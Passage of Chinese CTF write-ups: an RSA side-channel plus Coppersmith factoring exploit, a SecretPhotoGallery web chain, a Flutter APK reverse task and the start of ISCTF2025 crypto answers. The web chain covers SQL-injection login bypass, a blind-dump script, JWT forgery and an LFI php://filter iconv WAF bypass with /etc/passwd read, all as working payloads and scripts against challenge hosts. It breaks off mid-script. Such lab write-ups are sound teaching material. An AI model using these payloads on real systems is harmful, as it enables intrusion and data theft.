我们可以遍历 $X$ 从 $0$ 到 $R=2^{1024}$。
由于 $q$ 是 $n$ 的因子，$q \approx \sqrt{n}$。
我们可以通过发送 $m = X \cdot r^{-1} \pmod n$，观察返回的 &lt;code&gt;nhits&lt;/code&gt;。
当 $X$ 从小于 $q$ 变为大于 $q$ 时，&lt;code&gt;nhits&lt;/code&gt; 会出现一个明显的下降（Drop）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;二分查找 (Binary Search)&lt;/strong&gt;：
一旦发现 $X_i$ 和 $X_{i+1}$ 之间存在巨大的 &lt;code&gt;nhits&lt;/code&gt; 差异（例如从 600 降到 400），我们就可以确定 $q$ 就在区间 $[X_i, X_{i+1}]$ 内。
利用二分查找，不断缩小这个区间。
由于题目限制了总查询次数为 600 次，我们可能无法通过二分查找直接得到精确的 $q$ 值，但可以将范围缩小到非常小（例如几百 bit）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Coppersmith 小根求解&lt;/strong&gt;：
经过二分查找，我们得到了一个 $q$ 的近似值 $H$（上界），且已知 $|H - q|$ 很小（小于 500 bits）。
我们可以构造多项式 $f(x) = x - H \pmod q$。
利用 Coppersmith 方法（SageMath 中的 &lt;code&gt;small_roots&lt;/code&gt;）在模 $n$（$q$ 是 $n$ 的因子）下求解 $f(x)$ 的小根。
$f(x)$ 的根 $x_0$ 即为 $H - q$，从而可以恢复出 $q = H - x_0$。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;详细步骤&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;建立连接与初始化&lt;/strong&gt;：连接题目端口，获取 $n, e$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;全局扫描&lt;/strong&gt;：将 $0$ 到 $R$ 分成 20 份进行扫描。发现 &lt;code&gt;nhits&lt;/code&gt; 在某处骤降，确定 $q$ 的粗略区间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;二分定位&lt;/strong&gt;：在粗略区间内进行二分查找。设置阈值（如 &lt;code&gt;(High + Low) / 2&lt;/code&gt;），如果 &lt;code&gt;query(mid)&lt;/code&gt; 大于阈值则说明 $mid &amp;lt; q$，否则 $mid \ge q$。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SageMath 求解&lt;/strong&gt;：当查询次数接近耗尽或区间足够小时，停止二分。利用 &lt;code&gt;f = x - H&lt;/code&gt; 在 $Z_n$ 上求小根。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;获取 Flag&lt;/strong&gt;：验证 $n % q == 0$，发送 $q$ 通过服务器检查，获取 Flag。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import socket
import ast
import time
import sys

# Host and Port
HOST = &apos;node5.buuoj.cn&apos;
PORT = 28218

class Net:
    def __init__(self, host, port):
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.s.connect((host, port))
        self.buf = b&apos;&apos;

    def read_until(self, delim):
        while delim not in self.buf:
            chunk = self.s.recv(4096)
            if not chunk:
                break
            self.buf += chunk
        pos = self.buf.find(delim)
        if pos != -1:
            ret = self.buf[:pos+len(delim)]
            self.buf = self.buf[pos+len(delim):]
            return ret
        return b&apos;&apos;

    def send(self, msg):
        self.s.sendall(msg)

    def close(self):
        self.s.close()

def get_reductions(resp):
    try:
        d = ast.literal_eval(resp.strip().decode())
        if 48 in d:
            return d[48][1]
        return 0
    except:
        return 0

def solve():
    print(f&quot;Connecting to {HOST}:{PORT}...&quot;)
    conn = Net(HOST, PORT)
    
    data = conn.read_until(b&apos;\n&apos;).strip()
    print(f&quot;Received data: {data}&quot;)
    n_e = ast.literal_eval(data.decode())
    n = int(n_e[0])
    e = int(n_e[1])
    print(f&quot;n = {n}&quot;)
    
    r = 2**1024
    r_inv = pow(r, -1, n)
    
    queries_made = 0
    
    def query(X):
        nonlocal queries_made
        m = (X * r_inv) % n
        conn.read_until(b&apos;&amp;gt; &apos;)
        conn.send(str(m).encode() + b&apos;\n&apos;)
        resp = conn.read_until(b&apos;\n&apos;)
        queries_made += 1
        return get_reductions(resp)

    # 1. Baseline check
    # y_0 = query(0)
    # print(f&quot;Baseline y(0) = {y_0}&quot;)
    
    # 2. Global Scan
    print(&quot;Scanning global range...&quot;)
    points = []
    step = r // 20
    
    # Scan 0 to R
    for i in range(0, 21):
        X = i * step
        if X &amp;gt;= n: X = n - 1
        y = query(X)
        print(f&quot;i={i}, X={float(X/r):.2f}R, y={y}&quot;)
        points.append((X, y))
        
    # Find drop
    drop_index = -1
    max_drop = 0
    
    for i in range(1, len(points)):
        diff = points[i-1][1] - points[i][1]
        if diff &amp;gt; max_drop:
            max_drop = diff
            drop_index = i
            
    print(f&quot;Max drop {max_drop} detected at index {drop_index}&quot;)
    
    if max_drop &amp;lt; 50:
        print(&quot;No significant drop found.&quot;)
        return

    L_node = points[drop_index-1]
    H_node = points[drop_index]
    
    L = L_node[0] # X value, High y
    H = H_node[0] # X value, Low y
    
    y_high = L_node[1]
    y_low = H_node[1]
    
    print(f&quot;Drop interval: [{L}, {H}]&quot;)
    print(f&quot;y_high: {y_high}, y_low: {y_low}&quot;)
    
    threshold = (y_high + y_low) // 2
    print(f&quot;Using threshold: {threshold}&quot;)
    
    # 3. Binary Search
    # We want to find transition point where y goes from &amp;gt; threshold to &amp;lt; threshold
    # Invariant: query(L) &amp;gt; threshold, query(H) &amp;lt; threshold
    
    # Reserve 20 queries for verification/burning
    query_limit = 580 
    
    print(&quot;Starting Binary Search...&quot;)
    while queries_made &amp;lt; query_limit and H - L &amp;gt; 1:
        mid = (L + H) // 2
        y = query(mid)
        # print(f&quot;BS: X={mid}, y={y}&quot;)
        
        if y &amp;gt; threshold:
            L = mid
        else:
            H = mid
            
    print(f&quot;Stopped at L={L}, H={H}&quot;)
    print(f&quot;Range size: {H - L}&quot;)
    print(f&quot;Queries used: {queries_made}&quot;)
    
    q_approx = H
    print(f&quot;q_approx: {q_approx}&quot;)
    
    # 4. Coppersmith
    print(&quot;Running Coppersmith...&quot;)
    # We know q approx H.
    # q is a factor of n.
    # q = q_approx + delta
    # We don&apos;t know sign of delta?
    # H is the &quot;Low&quot; side (X &amp;gt;= q).
    # L is the &quot;High&quot; side (X &amp;lt; q).
    # So q is in (L, H].
    # So q approx H is an upper bound?
    # Wait. 
    # X &amp;lt; q -&amp;gt; High.
    # X &amp;gt;= q -&amp;gt; Low.
    # So L &amp;lt; q &amp;lt;= H.
    # So q is between L and H.
    # Since we narrowed it down, q is VERY close to H (and L).
    # Range size is H-L.
    
    # If H-L is small (e.g. 2^400), we can use Coppersmith.
    bits_unknown = (H - L).bit_length()
    print(f&quot;Bits unknown: {bits_unknown}&quot;)
    
    if bits_unknown &amp;gt; 500:
        print(&quot;Range too large for Coppersmith!&quot;)
    
    # SageMath part
    F = Zmod(n)
    P = PolynomialRing(F, &apos;x&apos;)
    x = P.gen()
    
    # We assume q = H - delta, where delta in [0, H-L]
    # f(x) = H - x
    # We want root x such that H - x = k*q = 0 mod q.
    # So H - x shares a factor with n.
    
    f = x - H

    
    # beta: q is approx n^0.5.
    beta = 0.5
    # epsilon: tuning parameter
    epsilon = 0.02
    
    try:
        roots = f.small_roots(X=2**bits_unknown, beta=beta, epsilon=epsilon)
        if roots:
            root = roots[0]
            q_found = H - int(root)
            print(f&quot;Found q: {q_found}&quot;)
            
            # Verify
            if n % q_found == 0:
                print(&quot;Verified!&quot;)
                
                # Burn remaining
                burn_m = (r * r_inv) % n
                while queries_made &amp;lt; 600:
                    conn.read_until(b&apos;&amp;gt; &apos;)
                    conn.send(str(burn_m).encode() + b&apos;\n&apos;)
                    conn.read_until(b&apos;\n&apos;)
                    queries_made += 1
                    
                # Submit q
                print(f&quot;Sending q: {q_found}&quot;)
                conn.read_until(b&apos;break me?&apos;)
                conn.send(str(q_found).encode() + b&apos;\n&apos;)
                
                res = conn.read_until(b&apos;}&apos;)
                print(f&quot;Flag: {res}&quot;)
            else:
                print(&quot;Verification failed.&quot;)
        else:
            print(&quot;No roots found.&quot;)
            
    except Exception as e:
        print(f&quot;Coppersmith failed: {e}&quot;)
        
    conn.close()

if __name__ == &quot;__main__&quot;:
    solve()

&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;WEB&lt;/h1&gt;
&lt;h2&gt;SecretPhotoGallery&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. SQL 注入绕过登录 (SQL Injection)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;访问题目主页，是一个登录界面。尝试万能密码 &lt;code&gt;&apos; OR 1=1 --&lt;/code&gt; 失败。
结合提示 &quot;database is empty&quot;，推测后端验证逻辑可能是从数据库查询用户，如果数据库为空，正常查询永远返回空。
我们需要使用 &lt;code&gt;UNION SELECT&lt;/code&gt; 构造一个虚拟的用户行，欺骗后端验证逻辑。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos; UNION SELECT 1, &apos;admin&apos;, &apos;123&apos; --
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;原理:&lt;/strong&gt;
后端 SQL 可能类似：&lt;code&gt;SELECT * FROM users WHERE username = &apos;$username&apos; AND password = &apos;$password&apos;&lt;/code&gt;
注入后变为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM users WHERE username = &apos;&apos; UNION SELECT 1, &apos;admin&apos;, &apos;123&apos; -- ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于 &lt;code&gt;users&lt;/code&gt; 表为空，前半部分查询无结果，但 &lt;code&gt;UNION&lt;/code&gt; 后半部分返回了一行数据 &lt;code&gt;(1, &apos;admin&apos;, &apos;123&apos;)&lt;/code&gt;，成功登录。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;盲注枚举数据库结构脚本&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了确认数据库结构和内容，我们编写了盲注脚本。利用 &lt;code&gt;UNION SELECT ... WHERE {condition}&lt;/code&gt; 的方式，通过页面是否显示 &quot;Welcome&quot; 来判断条件真假。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;脚本 &lt;code&gt;dump_master.py&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import time
import string

url = &quot;http://b1a7c513-1de5-4e36-a0c6-e2687d976a1f.node5.buuoj.cn:81/&quot;

def check_condition(condition):
    # Using UNION based blind injection
    # If the condition is true, the query returns a row (admin) and we get &quot;Welcome&quot;
    # If false, it returns nothing (or we handle it)
    payload = f&quot;&apos; UNION SELECT 1, &apos;admin&apos;, &apos;123&apos; WHERE {condition} --&quot;
    data = {&quot;username&quot;: payload, &quot;password&quot;: &quot;123&quot;}

    for _ in range(3):
        try:
            r = requests.post(url, data=data, timeout=5)
            if r.status_code == 429:
                time.sleep(5)
                continue
            return &quot;Welcome&quot; in r.text
        except Exception as e:
            time.sleep(1)
    return False

def get_length(query):
    # Binary search for length
    low = 0
    high = 1000
    while low &amp;lt;= high:
        mid = (low + high) // 2
        if check_condition(f&quot;length(({query})) &amp;gt;= {mid}&quot;):
            low = mid + 1
        else:
            high = mid - 1
    return high

def extract_string(query):
    length = get_length(query)
    print(f&quot;Length: {length}&quot;)
    if length == 0:
        return &quot;&quot;

    result = &quot;&quot;
    chars = string.ascii_letters + string.digits + &quot; _.,(){}&amp;lt;&amp;gt;!@#$%^&amp;amp;*[]-=&apos;&quot; + &apos;&quot;&apos; + &quot;/\\:;?`~&quot;

    for i in range(1, length + 1):
        found = False
        for char in chars:
            if check_condition(f&quot;substr(({query}), {i}, 1) = &apos;{char}&apos;&quot;):
                result += char
                print(f&quot;Found: {result}&quot;, end=&quot;\r&quot;)
                found = True
                break
        if not found:
            for val in range(32, 127):
                if check_condition(f&quot;unicode(substr(({query}), {i}, 1)) = {val}&quot;):
                    result += chr(val)
                    print(f&quot;Found: {result}&quot;, end=&quot;\r&quot;)
                    found = True
                    break
    print()
    return result

print(&quot;Checking number of objects in sqlite_master...&quot;)
count = 0
for i in range(10):
    if check_condition(f&quot;(SELECT count(*) FROM sqlite_master) &amp;gt;= {i}&quot;):
        count = i
    else:
        break
print(f&quot;Total objects: {count}&quot;)

for i in range(count):
    print(f&quot;--- Object {i+1} ---&quot;)
    type_ = extract_string(f&quot;SELECT type FROM sqlite_master LIMIT 1 OFFSET {i}&quot;)
    name = extract_string(f&quot;SELECT name FROM sqlite_master LIMIT 1 OFFSET {i}&quot;)
    tbl_name = extract_string(f&quot;SELECT tbl_name FROM sqlite_master LIMIT 1 OFFSET {i}&quot;)
    sql = extract_string(f&quot;SELECT sql FROM sqlite_master LIMIT 1 OFFSET {i}&quot;)
    print(f&quot;Type: {type_}&quot;)
    print(f&quot;Name: {name}&quot;)
    print(f&quot;Table Name: {tbl_name}&quot;)
    print(f&quot;SQL: {sql}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. 信息收集与密钥发现&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;登录后进入画廊页面，页面显示 &quot;Welcome Guest&quot;。我们需要提升权限。
查看网页源代码，在 JavaScript 中发现了一个 &lt;code&gt;photoInfo&lt;/code&gt; 对象，其中包含图片的描述信息。
仔细观察 &lt;code&gt;Photo ID&lt;/code&gt; 字段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const photoInfo = {
    1: &quot;... Photo ID: G1001 ...&quot;,
    2: &quot;... Photo ID: A2002 ...&quot;,
    3: &quot;... Photo ID: L3003 ...&quot;,
    4: &quot;... Photo ID: L4004 ...&quot;,
    5: &quot;... Photo ID: E5005 ...&quot;,
    ...
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提取每个 Photo ID 的首字母，拼凑起来是：
&lt;strong&gt;&lt;code&gt;GALLERY2024SECRET&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这很可能是用于签发 Session 或 Token 的密钥。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. JWT 伪造 (Privilege Escalation)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;观察浏览器的 Cookie，发现存在 &lt;code&gt;auth_token&lt;/code&gt;，其格式为 JWT (JSON Web Token)。
解码当前的 Token，Payload 部分如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;user&quot;: &quot;admin&quot;, // 或注入时的用户名
  &quot;role&quot;: &quot;guest&quot;,
  &quot;iat&quot;: 1764991155
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用刚才发现的密钥 &lt;code&gt;GALLERY2024SECRET&lt;/code&gt; 和 &lt;code&gt;HS256&lt;/code&gt; 算法，我们可以伪造一个 &lt;code&gt;role&lt;/code&gt; 为 &lt;code&gt;admin&lt;/code&gt; 的 Token。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. LFI 漏洞与过滤器绕过 (LFI &amp;amp; Filter Bypass)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;管理员面板提供了一个 &quot;File Export Tool&quot; (文件导出工具)，允许输入文件路径。这通常意味着存在 &lt;strong&gt;本地文件包含 (LFI)&lt;/strong&gt; 或 &lt;strong&gt;任意文件读取&lt;/strong&gt; 漏洞。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;尝试读取:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/passwd&lt;/code&gt;: 成功读取，确认漏洞存在。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/flag&lt;/code&gt;: 无内容。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/flag.txt&lt;/code&gt;: 无内容。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flag.php&lt;/code&gt;: 尝试直接读取，但由于 &lt;code&gt;include&lt;/code&gt; 或 &lt;code&gt;require&lt;/code&gt; 的机制，PHP 文件会被服务器执行而不是显示源码，导致我们也看不到 Flag。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;绕过思路:&lt;/strong&gt;
通常使用 PHP 伪协议 &lt;code&gt;php://filter&lt;/code&gt; 来读取源码。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;尝试 &lt;code&gt;php://filter/convert.base64-encode/resource=flag.php&lt;/code&gt;: 返回 &quot;Blocked: base64 filter is not allowed!&quot;，说明有 WAF 过滤了 &lt;code&gt;base64&lt;/code&gt; 关键字。&lt;/li&gt;
&lt;li&gt;尝试 &lt;code&gt;php://filter/string.rot13/resource=flag.php&lt;/code&gt;: 同样被拦截。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;最终 Payload:&lt;/strong&gt;
使用字符集转换过滤器来绕过 WAF 并破坏 PHP 标签结构，使其作为普通文本输出。
&lt;strong&gt;Payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个 Payload 将文件内容从 UTF-8 转换为 UTF-16。PHP 引擎无法正确解析 UTF-16 编码的 &lt;code&gt;&amp;lt;?php&lt;/code&gt; 标签，因此会将其作为普通字符串输出。&lt;/p&gt;
&lt;p&gt;自动化 Exploit 脚本 (包含 JWT 伪造和 LFI)&lt;/p&gt;
&lt;p&gt;以下脚本整合了 Token 伪造和利用 iconv 过滤器读取 flag 的过程。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;脚本 &lt;code&gt;pwn_iconv.py&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import jwt
import time

# Configuration
url_base = &quot;http://b1a7c513-1de5-4e36-a0c6-e2687d976a1f.node5.buuoj.cn:81/&quot;
url_admin = url_base + &quot;admin.php&quot;
secret = &quot;GALLERY2024SECRET&quot;

def forge_token():
    payload = {
        &quot;user&quot;: &quot;admin&quot;,
        &quot;role&quot;: &quot;admin&quot;,
        &quot;iat&quot;: int(time.time())
    }
    token = jwt.encode(payload, secret, algorithm=&quot;HS256&quot;)
    return token

def exploit_iconv():
    token = forge_token()
    s = requests.Session()
    s.cookies.set(&quot;auth_token&quot;, token)

    target = &quot;php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php&quot;

    print(f&quot;Target: {target}&quot;)
    data = {
        &quot;action&quot;: &quot;export&quot;,
        &quot;filepath&quot;: target
    }

    try:
        r = s.post(url_admin, data=data, timeout=10)
        print(f&quot;Status: {r.status_code}&quot;)

        content = r.content
        # Look for the HTML start
        html_start = content.find(b&quot;&amp;lt;!DOCTYPE html&amp;gt;&quot;)

        if html_start &amp;gt; 0:
            extracted_bytes = content[:html_start]
            print(f&quot;Extracted {len(extracted_bytes)} bytes.&quot;)

            # Try to decode
            try:
                decoded = extracted_bytes.decode(&apos;utf-16&apos;)
                print(&quot;Decoded content:&quot;)
                print(&quot;-&quot; * 40)
                print(decoded)
                print(&quot;-&quot; * 40)

                if &quot;DASCTF&quot; in decoded:
                    print(&quot;FLAG FOUND!&quot;)
            except Exception as e:
                print(f&quot;Decoding error: {e}&quot;)
                # Dump hex
                print(extracted_bytes[:100])
        else:
            print(&quot;Could not find HTML start or content is empty.&quot;)
            print(content[:200])

    except Exception as e:
        print(f&quot;Error: {e}&quot;)

if __name__ == &quot;__main__&quot;:
    exploit_iconv()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;REVERSE&lt;/h1&gt;
&lt;h2&gt;androidfff&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;unzip androidfff.apk -d unzipped
ls unzipped/lib/arm64-v8a/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们发现了 &lt;code&gt;libflutter.so&lt;/code&gt; 和 &lt;code&gt;libapp.so&lt;/code&gt;。这表明这是一个 Flutter 开发的应用。
由于是 Release 版本，Dart 代码被 AOT 编译成了机器码存储在 &lt;code&gt;libapp.so&lt;/code&gt; 中，无法直接使用 jadx 等常规 Java 反编译工具看到业务逻辑。&lt;/p&gt;
&lt;p&gt;使用 Blutter 对 &lt;code&gt;libapp.so&lt;/code&gt; 进行分析。注意需要提供对应的 &lt;code&gt;libflutter.so&lt;/code&gt; 以匹配 Dart 版本。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 blutter/blutter.py &quot;unzipped/lib/arm64-v8a&quot; &quot;blutter_out&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行成功后，在输出目录 &lt;code&gt;blutter_out/asm/untitled3/main.dart&lt;/code&gt; 中找到了主要的业务逻辑代码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心逻辑分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;main.dart&lt;/code&gt; 中，我们关注到 &lt;code&gt;_FlagCheckerState&lt;/code&gt; 类，它是检查 Flag 的主要逻辑所在。&lt;/p&gt;
&lt;p&gt;主要函数分析：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;_checkFlag&lt;/code&gt;&lt;/strong&gt;: 调用了 &lt;code&gt;_xorEncrypt&lt;/code&gt; 进行加密/校验。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;_xorEncrypt&lt;/code&gt;&lt;/strong&gt;: 包含了具体的加密算法。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;查看汇编代码或还原的伪代码，我们可以看到加密逻辑：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Key&lt;/strong&gt;: 硬编码的 XOR 密钥 &lt;code&gt;50&lt;/code&gt; (0x32)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data&lt;/strong&gt;: 一个硬编码的整数数组。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// 伪代码逻辑
List&amp;lt;int&amp;gt; encrypted = [
    236, 230, 194, 226, 204, 232, 146, 168, 188, 142, 140, 140, 174, 
    128, 218, 182, 130, 218, 130, 186, 218, 174, 166, 130, 150, 158
];
int key = 50;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;解密与 Smi Tagging&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 Dart 的 AOT 编译中，小整数（Smi, Small Integer）通常使用 &lt;strong&gt;Tagged Pointer&lt;/strong&gt; 机制存储。这意味着内存中的数值是实际数值左移 1 位（最低位为 0 用于标识这是 Smi）。&lt;/p&gt;
&lt;p&gt;我们在提取出的数组中看到的数值（如 236, 230 等）实际上是 Tagged Value。
在进行 XOR 解密前，我们需要将其还原（右移 1 位）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解密逻辑&lt;/strong&gt;: &lt;code&gt;char = ((value &amp;gt;&amp;gt; 1) ^ key)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;exp：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 从 main.dart 中提取的加密数组
values = [
    236, 230, 194, 226, 204, 232, 146, 168, 188, 142, 140, 140, 174, 
    128, 218, 182, 130, 218, 130, 186, 218, 174, 166, 130, 150, 158
]

# 硬编码的 Key
key = 50

# 解密：先右移1位去除 Smi Tag，再异或
decoded = &quot;&quot;.join([chr((v &amp;gt;&amp;gt; 1) ^ key) for v in values])

print(f&quot;Flag: {decoded}&quot;)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>ISCTF2025</title><link>https://sinqwq.top/posts/isctf2025/</link><guid isPermaLink="true">https://sinqwq.top/posts/isctf2025/</guid><description>ISCTF2025</description><pubDate>Thu, 04 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;crypto&lt;/h1&gt;
&lt;h2&gt;easy_RSA&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;rom Crypto.Util.number import *
p = getPrime(1024)
q = getPrime(1024)
N = p*q
e = 65537

msg = bytes_to_long(b&quot;ISCTF{dummy_flag}&quot;)
ct1 = pow(msg, e, N)
ct2 = pow(msg, p+q, N)
print(f&quot;{N = }&quot;)
print(f&quot;{ct1 = }&quot;)
print(f&quot;{ct2 = }&quot;)

&quot;&quot;&quot;
n = 
ct1 = 
ct2 = 
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解题的关键在于找出 $ct_2$ 的指数 $p+q$ 与已知数 $N$ 之间的关系。根据欧拉函数 $\phi(N) = (p-1)(q-1)$，展开后得到：$$\phi(N) = pq - p - q + 1 = N - (p+q) + 1$$&lt;/p&gt;
&lt;p&gt;移项可以得到 $p+q$ 的表达式：$$p+q = N + 1 - \phi(N)$$&lt;/p&gt;
&lt;p&gt;我们将这个关系带入 $ct_2$ 的公式：$$ct_2 \equiv m^{p+q} \equiv m^{N + 1 - \phi(N)} \pmod N$$&lt;/p&gt;
&lt;p&gt;根据欧拉定理 $m^{\phi(N)} \equiv 1 \pmod N$，我们可以简化上面的式子：$$ct_2 \equiv m^{N+1} \cdot m^{-\phi(N)} \equiv m^{N+1} \cdot (m^{\phi(N)})^{-1} \equiv m^{N+1} \cdot 1^{-1} \equiv m^{N+1} \pmod N$$&lt;/p&gt;
&lt;p&gt;结论：&lt;/p&gt;
&lt;p&gt;我们现在拥有了针对同一个明文 $m$、同一个模数 $N$ 的两组密文：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$ct_1 = m^{e} \pmod N$&lt;/li&gt;
&lt;li&gt;$ct_2 = m^{N+1} \pmod N$&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;此时，这变成了一个标准的 &lt;strong&gt;共模攻击&lt;/strong&gt; 问题。我们有两个指数 $e_1 = e$ 和 $e_2 = N+1$。只要 $\gcd(e, N+1) = 1$（这通常是成立的），我们就可以使用扩展欧几里得算法找到整数 $s_1, s_2$，满足：&lt;/p&gt;
&lt;p&gt;$$s_1 \cdot e + s_2 \cdot (N+1) = 1$$&lt;/p&gt;
&lt;p&gt;利用这两个系数，我们可以直接计算出明文：&lt;/p&gt;
&lt;p&gt;$$m \equiv m^{s_1 \cdot e + s_2 \cdot (N+1)} \equiv (m^e)^{s_1} \cdot (m^{N+1})^{s_2} \equiv ct_1^{s_1} \cdot ct_2^{s_2} \pmod N$$&lt;/p&gt;
&lt;p&gt;Exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import gmpy2
from Crypto.Util.number import long_to_bytes

n = 
ct1 = 
ct2 = 
e = 65537
def solve():
    e1 = e
    e2 = N + 1
    g, s1, s2 = gmpy2.gcdext(e1, e2)
    if g != 1:
        print(&quot;[-] GCD is not 1, specific handling required.&quot;)
        return
    m = (pow(ct1, s1, N) * pow(ct2, s2, N)) % N
    flag = long_to_bytes(m)
    print(f&quot;[+] Flag: {flag.decode(errors=&apos;ignore&apos;)}&quot;)

if __name__ == &apos;__main__&apos;:
    solve()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Power tower&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
import random
from numpy import number

m = b&apos;ISCTF{****************}&apos;
flag = bytes_to_long(m)
n = getPrime(256)
t = getPrime(63)
l = pow(2,pow(2,t),n)
c = flag ^ l
print(t)
print(n)
print(c)


&apos;&apos;&apos;
t = 6039738711082505929
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
c = 114092817888610184061306568177474033648737936326143099257250807529088213565247
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们要计算：$$l \equiv 2^{(2^t)} \pmod n$$&lt;/p&gt;
&lt;p&gt;根据费马小定理（或者广义的欧拉定理）：如果 $n$ 是质数，那么对于任意整数 $a$，都有 $a^{n-1} \equiv 1 \pmod n$。这意味着，在模 $n$ 的世界里，指数是模 $\phi(n)$ 循环的。也就是：$$a^b \pmod n \equiv a^{b \pmod {\phi(n)}} \pmod n$$&lt;/p&gt;
&lt;p&gt;因为 $n$ 是质数，所以欧拉函数 $\phi(n) = n - 1$。&lt;/p&gt;
&lt;p&gt;所以，我们可以分两步计算 $l$：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;先计算降维后的指数：&lt;/p&gt;
&lt;p&gt;$$E = 2^t \pmod {n-1}$$&lt;/p&gt;
&lt;p&gt;这一步利用 Python 的 pow(2, t, n-1) 可以秒出。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;再计算最终结果：$$l = 2^E \pmod n$$，这一步利用 pow(2, E, n) 也可以秒出。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;坑点：题目代码中虽然写着 &lt;code&gt;n = getPrime(256)&lt;/code&gt;，但这其实是一个陷阱。如果我们直接把 $n$ 当作素数，计算 $\phi(n) = n-1$，解出来的结果是错误的。通过 &lt;code&gt;isPrime(n)&lt;/code&gt; 检查可以发现 $n$ 实际上是一个&lt;strong&gt;合数&lt;/strong&gt;。因此我们需要先分解 $n$ 才能计算 $\phi(n)$。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;phi：$$ \phi(n) = (p_1 - 1)(p_2 - 1)(p_3 - 1) $$&lt;/p&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import isPrime, long_to_bytes

t = 6039738711082505929
n = 107502945843251244337535082460697583639357473016005252008262865481138355040617
